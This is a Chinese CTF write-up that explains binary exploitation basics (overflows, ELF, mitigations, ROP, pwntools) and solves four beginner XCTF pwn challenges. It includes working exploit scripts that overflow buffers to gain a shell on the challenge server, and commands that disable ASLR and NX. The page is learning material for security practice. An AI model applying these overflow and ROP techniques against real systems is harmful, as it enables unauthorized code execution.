主頁 >  其他 > CTF PWN-攻防世界XCTF新手區WriteUp

CTF PWN-攻防世界XCTF新手區WriteUp

2021-10-22 07:20:16 其他

文章目錄

  • 前言
  • PWN基礎
    • 1.1 x86 匯編
    • 1.2 ELF 檔案
    • 1.3 延遲系結
    • 1.4 linux防護
    • 1.5 ROP編程
    • 1.6 Pwntools
  • XCTF-Pwn
    • 2.1 get_shell
    • 2.2 hello_pwn
    • 2.3 level0
    • 2.4 level2
    • 2.5 string
  • 總結

前言

PWN 是一個黑客語法的俚語詞 ,是指攻破設備或者系統 ,發音類似“砰”,對黑客而言,這就是成功實施黑客攻擊的聲音——砰的一聲,被“黑”的電腦或手機就被你操縱,以上是從百度百科上面抄的簡介,個人理解它是向存在漏洞的目標服務器發送特定的資料(EXP),使得其執行惡意代碼或命令,

CTF 中 PWN 型別的題目的目標是拿到 flag,一般是在 linux 平臺下通過二進制/系統呼叫等方式撰寫漏洞利用腳本 exp 來獲取對方服務器的 shell,然后獲得 flag,本文記錄學習下攻防世界 PWN 新手區的題目練習程序:
在這里插入圖片描述

PWN基礎

前置技能相關知識
Linux相關Linux 防護機制 (NX/ASLR/Canary/Relro),ELF 檔案格式,系統呼叫,shell 命令,程式的編譯、鏈接、裝載、執行程序
匯編語言暫存器、匯編指令、函式呼叫堆疊、記憶體地址計算、ROP編程
分析利用pwntools 寫 exp、gdb 除錯、IDA pro 分析、ShellCode 撰寫

1.1 x86 匯編

在前面的文章:淺析緩沖區溢位漏洞的利用與Shellcode撰寫 中已對 x86 匯編語言(暫存器、匯編指令)進行簡單的學習和總結,同時對函式呼叫堆疊、堆疊溢位原理、ShellCode 撰寫均進行了介紹,均為 PWN 基礎知識,此處不再展開,請讀者自行跳轉閱讀,
在這里插入圖片描述
大端小端

二進制可執行程式經常分為小端程式和大端程式,二者的區別其實就是一個存盤方式的區別,小端和大端的區別,是會對我們 PWN 的分析產生影響的(雖然接觸到的 PWN 程式一般為小端存盤),簡單了解下即可,

大端模式(大尾)
* 存盤規則:資料的高位存在記憶體的低位,資料的低位存在記憶體的高位,
* 常見軟體:RAM(手機)上的應用多采用大端模式存盤

小端模式(小尾)
* 存盤規則:資料的低位存在記憶體的低位,資料的高位存在記憶體的高位,
* 常見軟體:Intel AMD CPU上的應用多采用小端模式存盤

當一個變數的值為 0x11220x11 為高位元組,0x22 為低位元組),則:
1)在大端程式中,0x11存盤在記憶體的低位,而0x22存盤在記憶體的高位;
2)在小端程式中,0x22存盤在記憶體的低位,而0x11存盤在記憶體的高位,

緩沖區溢位分類

對于緩沖區溢位,一般可以分為 4 種型別,即堆疊溢位、堆溢位、BSS 溢位與格式化串溢位,其中堆疊溢位是最簡單,也是最為常見的一種溢位方式,

void function(char *str) 
{
   char buffer[10];
   strcpy(buffer,str);
}

上面的 strcpy() 將直接把 str 中的內容 copy 到 buffer 中,這樣只要 str 的長度大于 10 ,就會造成 buffer 的溢位,使程式運行出錯,存在像 strcpy() 這樣的問題的標準函式還有 strcat(),sprintf(),vsprintf(),gets(),scanf() 等,對應的有更加安全的函式,即在函式名后加上 _s,如scanf_s()函式,

介紹下幾類格式化串溢位:

1、整數溢位

(1)寬度溢位:把一個寬度較大的運算元賦給寬度較小的運算元,就有可能發生資料截斷或符號位丟失,

#include<stdio.h>

int main()
{
  signed int value1 = 10;
  usigned int value2 = (unsigned int)value1;
}

(2)算術溢位:該程式即使在接受用戶輸入的時候對 a、b 的賦值做安全性檢查,a*b 依舊可能溢位:

#include<stdio.h>

int main()
{
  int a;
  int b;
  int c=a*b;
  return 0;
}

2、陣列索引不在合法范圍內

enum {TABLESIZE = 100};
int *table = NULL;
int insert_in_table(int pos, int value) {
  if(!table) {
    table = (int *)malloc(sizeof(int) *TABLESIZE);
  }
  if(pos >= TABLESIZE) {
    return -1;
  }
  table[pos] = value;
  return 0;
}

其中 pos 為 int 型別,可能為負數,這會導致在陣列所參考的記憶體邊界之外進行寫入,可以將 pos 型別改為size_t來避免,

3、空字符錯誤

//錯誤
char array[]={'0','1','2','3','4','5','6','7','8'};
//正確的寫法應為:
char array[]={'0','1','2','3','4','5','6','7','8',’\0};
//或者
char array[11]={'0','1','2','3','4','5','6','7','8','9};

1.2 ELF 檔案

ELF 是 Linux 中的二進制可執行檔案,相對應的 EXE 則為 Windows 中的二進制可執行檔案,

  1. elf 的基本資訊存在與 elf 的頭部資訊中,這些資訊包括指令的允許架構、程式的入口等內容;
  2. 通過 readelf -h <elf_name> 來查看頭部資訊;
  3. elf 包括許多節,各節存放不同資料,這些節的資訊存放在節頭表中,可以通過 readelf -s <elf_name> 查看,

elf 檔案的節會被映射進記憶體中的段,映射機制是根據節的權限來進行映射的,可讀可寫的節被映射入一個段,只讀的節被映射入一個段,

節名存放的資料
.text存放程式運行的代碼
.rdata存放一些如字串等不可修改的資料
.data存放一些已經初始化的可修改的資料
.bss存放未被初始化的程式可修改的資料
.plt 與 .got程式動態鏈接函式地址

1.3 延遲系結

一個程式運行程序中可能會呼叫很多函式,但是在一次運行中并不能保證全部被呼叫,

編譯方式靜態編譯動態編譯
基礎含義將所有可能運行到的庫函式一同編譯到可執行檔案中遇到需要呼叫的庫函式時再去元件中尋找
優點不需要依賴元件,適用于程式使用的元件比較特殊縮小了檔案體積,加快了編譯速度
缺點體積很大,編譯速度很慢附帶龐大的鏈接庫;若計算機沒安裝對應庫,則程式不能正常運行

程式動態鏈接函式地址:

PLTGOT
程式鏈接表,用于延遲系結全域偏移表

ELF 中有兩個 got 表,分別為:

.got.plt.got
用于全域變數的參考地址保存函式的參考地址

不管是程式第幾次呼叫外部函式,程式真正呼叫的是 plt 表!
在這里插入圖片描述第一次呼叫:

  1. plt 表會跳到對應的 got 表;
  2. 此時 got 表存的是 plt 表的一段指令的地址,其作用是準備一些引數進行動態決議;
  3. 之后會跳到 plt 的表頭,表頭的內容是動態決議函式,將目標地址存入 got 表,

之后的呼叫:

  1. plt 表跳到對應的 got 表;
  2. got 表存的是目標地址,直接跳轉到該地址,

1.4 linux防護

現代作業系統提供了許多安全機制來嘗試降低或阻止緩沖區溢位攻擊帶來的安全風險,在撰寫漏洞利用代碼的時候,需要特別注意目標行程是否開啟了對應的安全防護機制,

Linux防護機制canaryNX(Not Executable)PIE 和 ASLR? RELRO
介紹即金絲雀機制:Canary翻譯金絲雀,金絲雀原來是石油工人用來判斷氣體是否有毒使程式中的堆、堆疊、bss段 等可寫的段不可執行PIE 指的是 程式記憶體加載基地址隨機化,不能一下子確定程式的基地址主要針對延遲系結機制,使 got 表這種和函式動態鏈接相關的記憶體地址,對用戶只讀
補充應用于在堆疊保護上則是在初始化一個堆疊幀時在堆疊底(stack overflow 發生的高位區域的尾部)設定一個隨機的 canary 值,當函式回傳之時檢測 canary 的值是否經過了改變,以此來判斷 stack/buffer overflow 是否發生,若改變則說明堆疊溢位發生,程式走另一個流程結束,以免漏洞利用成功該防護機制可導致目標程式不能執行我們自己撰寫的 shellcode,call esp 或 jmp esp 的方法無法使用,但可以利用 rop 的方法繞過ASLR 是 使程式運行元件、堆疊等地址隨機化意味著不能劫持 got 表中的函式指標
繞過方式修改 canary、泄露 canary1)用 mprotect 函式來改寫段的權限;2)對于 rop 或 劫持 got 表等利用方式不受影響泄露函式地址,通過偏移確定基地址NULL

使用 gcc 編譯時關閉程式保護的方式:

PIE:    gcc -no-pie
ASLR:   echo 0 > /proc/sys/kernel/randomize_va_space
RELRO:  -z norelro
canary: -fno-stack-protector
NX:     -z execstack

做 PWN 題目時可以先借助 checksec 腳本工具來查看目標二進制程式開啟了哪些保護機制:
在這里插入圖片描述
checksec 可以自行在 Linux 系統上下載安裝(可參見 checksec工具使用),此處為了方便我直接使用 gdb 除錯工具自帶的 checksec 模塊功能,同時 Kali 也自帶該工具,
在這里插入圖片描述

1.5 ROP編程

堆疊溢位(stack-based buffer overflows)算是安全界常見的漏洞,一方面因為程式員的疏忽,使用了 strcpy、sprintf 等不安全的函式,增加了堆疊溢位漏洞的可能,另一方面,因為堆疊上保存了函式的回傳地址等資訊,因此如果攻擊者能任意覆寫堆疊上的資料,通常情況下就意味著他能修改程式的執行流程,從而造成更大的破壞,

對于以上的漏洞,人們找出了很多解決的辦法,通過硬體或軟體的支持,來保證行程映像中的記憶體區域不能同時可執行或可寫入,比如在 Linux 平臺下則通過 NX(Not Executable)機制使程式中的堆、堆疊、bss段 等可寫的段不可執行,

在此基礎上,衍生了新的攻擊技術 return-to-libc,攻擊者不通過寫入 shellcode 到漏洞程式的行程空間,而是利用已經在記憶體空間中的可執行代碼來執行任意操作,如 libc 中有一些函式可以用于執行其他的行程,例如 execve 和 system,攻擊者只要找到一個堆疊溢位漏洞,并適當的建構式呼叫引數,并使堆疊上回傳地址指向這些函式的起始地址,攻擊者就能以這個程式的權限執行任意其他程式了,這種攻擊方法也有局限性,就是需要當前代碼庫有 system 這樣符合要求的函式,否則就涼拌了,

于是安全人員又提出了一種新的技術,也就是回傳導向編程技術(Return-Oriented Programming,ROP),所謂ROP,簡單的說就是把原來已經存在的代碼塊拼接起來,拼接的方式是通過一個預先準備好的特殊的回傳堆疊,里面包含了各條指令結束后下一條指令的地址,

在一般程式里面,都包含著大量的回傳指令(ret),他們基本位于函式的尾部,或是函式中部需要回傳的地方,而從函式開始的地方到 ret 指令之間的這一段序列稱為二進制指令代碼塊(gadgets),這些二進制指令序列使其組合成完成一些諸如讀寫記憶體、算術邏輯運算、控制流程跳轉、函式呼叫等操作,于是,我們就可以通過利用記憶體空間中各個 gadgets 以某種順序執行,達到進行任意操作的目的,而為了使各個 gadgets “拼接”起來,我們就需要構造一個特殊的回傳堆疊,首先讓指向我們構造的堆疊(stack)的指標跳到 gadget A 中,執行其中的代碼序列后 ret 回我們的 stack 中,然后下一步是跳到 gadget B,執行后就到 gadgets C……只要 stack 足夠大,就能達到我們想要的效果,

ROP 難以構造的地方在于,我們需要在整個記憶體空間中搜索我們需要的 gadgets,這要花費很長的時間,一旦完成“搜索”和“拼接”的步驟,這樣的攻擊卻是難以抵擋的,因為它用到的都是記憶體中合法的代碼,目前,已經有實驗室提出了包括一個掃描可利用代碼、并把它們結合起來的 Constructor,一套專用的語言,以及把這套語言編譯成對應代碼片段之和的編譯器,最后還有一個計算實際代碼地址的 Loader,至于防護的方法,現在主流的辦法分別有:解決堆疊溢位問題、使用“金絲雀”方法偵測和預防堆疊溢位、去掉所有的 ret 指令、增加地址隨機性等,

1.6 Pwntools

Pwntools 是由 Gallopsled 開發的一款專用于 CTF Exploit 的 Python 庫,包含了本地執行、遠程連接讀寫、shellcode 生成、ROP 鏈的構建、ELF 決議、符號泄漏等眾多強大功能,可以說把 EXP 繁瑣的程序變得簡單起來,

(1)專案地址:https://github.com/Gallopsled/pwntools;
(2)官方檔案:http://docs.pwntools.com/en/latest/,

這里只簡單介紹一下它的部分 API 使用:
在這里插入圖片描述借助 pwntools 撰寫的 exp 腳本示例:

from pwn import *

coon = remote('111.200.241.244',65238) #連接遠程IP和埠
coon.recv()                            #接收遠程發來的內容
payload = b'a'*4 + p64(1853186401)     #構建溢位攻擊的payload 
coon.sendline(payload)                 #向遠程發送我們的payload
coon.interactive()                     #與遠程進行互動,腳本執行完畢后程式不退出

XCTF-Pwn

序號題目解題關鍵
1get_shell直接 nc 連接服務即可獲得 Shell
2hello_pwnbss 溢位,撰寫 exp 獲得 Shell
3level064 位二進制程式的緩沖區堆疊溢位
4level2ROP 面向回傳的編程

2.1 get_shell

1、先來看第一道題 get_shell 認識下簡單的 PWN……查看題目:
在這里插入圖片描述2、將附件下載后拖入 IDA 分析,main 函式如下:
在這里插入圖片描述3、送分題…顯然直接連接就可以得到權限并執行命令,直接使用 Netcat (下載地址)連接遠程服務,執行 cat flag 命令獲得 flag:
在這里插入圖片描述

【補充】 Linux system() 函式呼叫 “/bin/sh -c command” 執行特定的命令,阻塞當前行程直到 command 命令執行完畢,/bin/sh 通常是一個軟鏈接,指向某個具體的 shell,好比 bash,-c 選項是告訴 shell 從字串 command 中讀取命令,

2.2 hello_pwn

1、來看看題目:
在這里插入圖片描述2、下載附件,先 checksec 看下是 64 位程式,只開了 NX (堆疊不可執行):
在這里插入圖片描述
3、拖入 DIA 進行反匯編,查看 main 函式偽代碼如下:
在這里插入圖片描述跟進 sub_400686() 函式:
在這里插入圖片描述
程式邏輯分析:

  1. main 函式先呼叫 setbuf 函式清慷訓沖區,然后 puts 函式列印兩行提示字符;
  2. 接著 read 函式讓我們輸入資料存入到 601068 的地址;
  3. 然后 if 陳述句判斷 60106C 的地址如果存放的資料是 1853186401 的話則呼叫并執行 sub_400686() 函式;
  4. sub_400686() 函式將執行系統命令,列印輸出 flag.txt,

綜上所述,獲取 Flag 的關鍵是如何去實作讓60106C 的地址存放的值等于1853186401 ,

通過雙擊查看我們可以知道 dword_60106Cunk_601068 這倆變數都在.bss段,并且 dword_60106C 就在離 unk_601068 四個位置的地方:
在這里插入圖片描述湊巧的是 unk_601068 變數的值可以被用戶所控制的,它是由用戶輸入的,而輸入點給了用戶 10 個長度的輸入權限,那正好,可以借此覆寫掉 dword_60106C 變數使它成為目標數值(1853186401),

BSS 溢位】緩沖區溢位除了典型的堆疊溢位和堆溢位外,還有一種發生在 bss 段上的溢位, bss 屬于資料段的一種,通常用來保存未初始化的全域靜態變數,

4、故撰寫 EXP 腳本:

from pwn import *

coon = remote('111.200.241.244',65238) #連接遠程IP和埠
coon.recv()                            #接收遠程發來的內容
payload = b'a'*4 + p64(1853186401)     #構建payload 601068向下輸出4個位元組的內容,此時地址正好到60106c;另一種寫法 payload=`bytes("A",'latin-1')*4+p64(1853186401)`
coon.sendline(payload)                 #向遠程發送我們的payload
coon.interactive()                     #與遠程進行互動,就是查看我們的flag

Pycharm 運行 EXP:
在這里插入圖片描述提交 Flag,本題 Over:
在這里插入圖片描述

2.3 level0

先看看題目:
在這里插入圖片描述1、使用 Netcat 直接連接遠程服務,回顯 Hello World,隨意輸入字串后自動退出:
在這里插入圖片描述
2、下載附件 elf 檔案,首先 checksec 看看開啟了什么防護,發現是 64 位ELF 檔案,開啟了 NX(記憶體堆疊不可執行保護機制,傳入堆疊的資料不可直接執行,可以使用 rop 鏈繞過):
在這里插入圖片描述
3、將 elf 檔案拖入 IDA 進行靜態分析,main() 函式如下:
在這里插入圖片描述
輸出字串 “Hello World” 之后直接無條件執行 vulnerable_function() 函式,沒有與用戶互動,雙擊跟進去看看:
在這里插入圖片描述
可以發現 read() 函式每次讀取 200 Byte 的位元組存盤在 buf 中,而 buf 的空間只有 80 Byte,明顯存在堆疊溢位漏洞,

4、繼續查看程式有沒有后門,shift+F12 查看程式中的字串,發現 “/bin/sh”:
在這里插入圖片描述 雙擊跟進發現 “/bin/sh” 位于函式 callsystem() 函式中:
在這里插入圖片描述

5、查看 callsystem() 函式的偽代碼:
在這里插入圖片描述至此,我們發現目標程式存在堆疊溢位漏洞,同時存在后門,故可以通過堆疊溢位來覆寫函式回傳地址,使程式跳轉到 callsystem() 函式的地址即可成功執行 system 函式,

6、綜上,撰寫 exp 腳本如下:

from pwn import *                                      # 匯入pwntools中pwn包的所有內容

sh = remote('111.200.241.244', 54800)                  # 鏈接服務器遠程互動,等同于nc ip 埠 命令
elf = ELF('./level0')                                  # 開啟本地程式的句柄,以 ELF 檔案格式讀取 level0 檔案
callsystem_addr = elf.symbols['callsystem']            # symbols函式用于獲取獲取一個標志的地址,這個標志可以是system函式、bss全域變數等
payload = b'a' * 0x80 + b'a' * 8 + p64(callsystem_addr)  # 注意這里的payload填充0x80后還需要填充8個位元組(64)的資料來覆寫rbp,之后才是覆寫retn
sh.sendline(payload)                                   # 接收到Hello, World之后傳入payload
sh.interactive()                                       # 接收反彈的shell、進行互動

7、執行 exp 腳本,成功獲得 Shell 并讀取 flag:
在這里插入圖片描述

注意】本題的 exp 腳本應注意構造 Payload 時,在考慮將回傳地址覆寫為 callsystem 函式的地址之前,需要覆寫堆疊中 ebp 部分的空間,詳盡原理參見——淺析緩沖區溢位漏洞的利用與Shellcode撰寫:
在這里插入圖片描述

2.4 level2

先看看題目,注意題目描述(涉及的 ROP 編程的概念前面已經講了):
在這里插入圖片描述1、老規矩 Netcat 連接服務試試,發現讓你輸入一個字串后回傳 Hello World! 就退出了:
在這里插入圖片描述
2、使用 Checksec 檢查下保護機制:
在這里插入圖片描述可以看到是一個 32 位的程式,同時 NX 這項保護是開啟的狀態,這意味著:堆疊中資料沒有執行權限,常用的 call esp 或者 jmp esp 的方法在這里就不能使用了,但是可以利用 rop 這種方法繞過,

3、拖進 IDA 進行靜態分析:
在這里插入圖片描述
跟進查看 vulnerable_function() 函式:
在這里插入圖片描述
可以看見 buf 長度是 0x88,但 read() 函式允許我們輸入 0x100 個字符,可發生緩沖區溢位,

4、跟上一題目一樣,看看程式有沒有后門(借助程式自帶的可執行代碼來執行任意操作),Shift+F12 打開字串內容視窗查看程式中的字串,觀察到存在 “system” 和 “/bin/sh” 字串,這是解出題目的關鍵:
在這里插入圖片描述可是找不到跟上一題一樣可以直接執行system("/bin/sh")的函式了,這里的 system 函式引數沒有寫,需要我們自己將 /bin/sh 作為引數傳入 system 函式,考查的是 ROP 編程 :在這里插入圖片描述
我們可以通過強大的 rop 技術來獲得系統權限,可以通過構造一個system("/bin/sh")的偽堆疊幀,vulnerable_function() 執行結束后回傳到我們構造的偽堆疊幀去執行system("bin/sh"),這樣就可以獲取 shell,

5、綜上,撰寫 exp 腳本如下:

from pwn import *

sh = remote('111.200.241.244', 51837)
elf = ELF('./level2')
system_addr = elf.symbols['system']
binsh_addr = next(elf.search(b'/bin/sh'))
payload = b'a'*(0x88+4) + p32(system_addr) + b'c'*4 + p32(binsh_addr)
sh.sendlineafter(b'Input:',payload)    # 在接收到Input:之后傳入payload
sh.interactive()

注意其中的 Payload:

  1. 0x88 是填充堆疊,增加 4 個 byte(目標應用為 32 位程式) 的 ‘a’ 則是用來填充 ebp 的,之后就是 retn 用 system 的地址覆寫,程式執行完之后就回傳到 system;
  2. 在進入 system 函式之后,正常的呼叫會有一個回傳的地址這里使用 4 個 byte 的 cccc 覆寫掉(因為我們的目的是通過system("bin/sh")來獲取shell,所以函式執行完后的回傳地址可以任意);
  3. 最后就是將 /bin/sh 的地址作為 system() 的引數傳入,如此一來堆疊溢位之后就會執行system("/bin/sh")

最后運行 EXP 腳本,獲得 Shell 并查看 flag:
在這里插入圖片描述

2.5 string

未完待續……

總結

本文參考文章:

  1. pwn 入門基礎;
  2. Linux PWN漏洞緩解機制&checksec;
  3. Exploit利器——Pwntools ,

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/330123.html

標籤:其他

上一篇:10 - vulhub - Adobe ColdFusion 反序列化漏洞 (CVE-2017-3066)

下一篇:2021全國職業技能大賽-網路安全賽題決議總結①(超詳細)

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more